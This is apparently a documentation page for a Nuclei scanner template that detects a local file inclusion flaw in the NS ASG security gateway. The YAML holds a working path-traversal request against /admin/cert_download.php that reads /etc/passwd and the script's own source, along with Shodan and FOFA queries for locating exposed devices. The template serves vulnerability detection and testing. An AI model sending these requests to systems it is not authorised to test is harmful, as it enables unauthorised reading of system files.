NS ASG - Local File Inclusion
ID: nsasg-arbitrary-file-read
Severity: high
Author: pikpikcu,ritikchaddha
Tags: nsasg,lfi
Description
Section titled “Description”NS ASG is vulnerable to local file inclusion.
YAML Source
Section titled “YAML Source”id: nsasg-arbitrary-file-read
info: name: NS ASG - Local File Inclusion author: pikpikcu,ritikchaddha severity: high description: NS ASG is vulnerable to local file inclusion. reference: - https://zhuanlan.zhihu.com/p/368054963 - http://wiki.xypbk.com/Web安全/网康%20NS-ASG安全网关/网康%20NS-ASG安全网关%20任意文件读取漏洞.md classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-22 cpe: cpe:2.3:h:netentsec:ns-asg:*:*:*:*:*:*:*:* metadata: max-request: 2 shodan-query: http.title:“NS-ASG” fofa-query: app="网康科技-NS-ASG安全网关" product: ns-asg vendor: netentsec tags: nsasg,lfi
http: - method: GET path: - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd" - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"
stop-at-first-match: true
matchers-condition: or matchers: - type: regex regex: - "root:.*:0:0:"
- type: word part: body words: - "$certfile" - "application/pdf" condition: and# digest: 4a0a0047304502207593d84e2f047ff77c10e1497b346d41c75cd79cbb621ba24af99b213e44d7e302210091ee7ebc43d1288a56411ce47789e019b222f327fd988d9048723cfc54ba4513:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/ns-asg-file-read.yaml"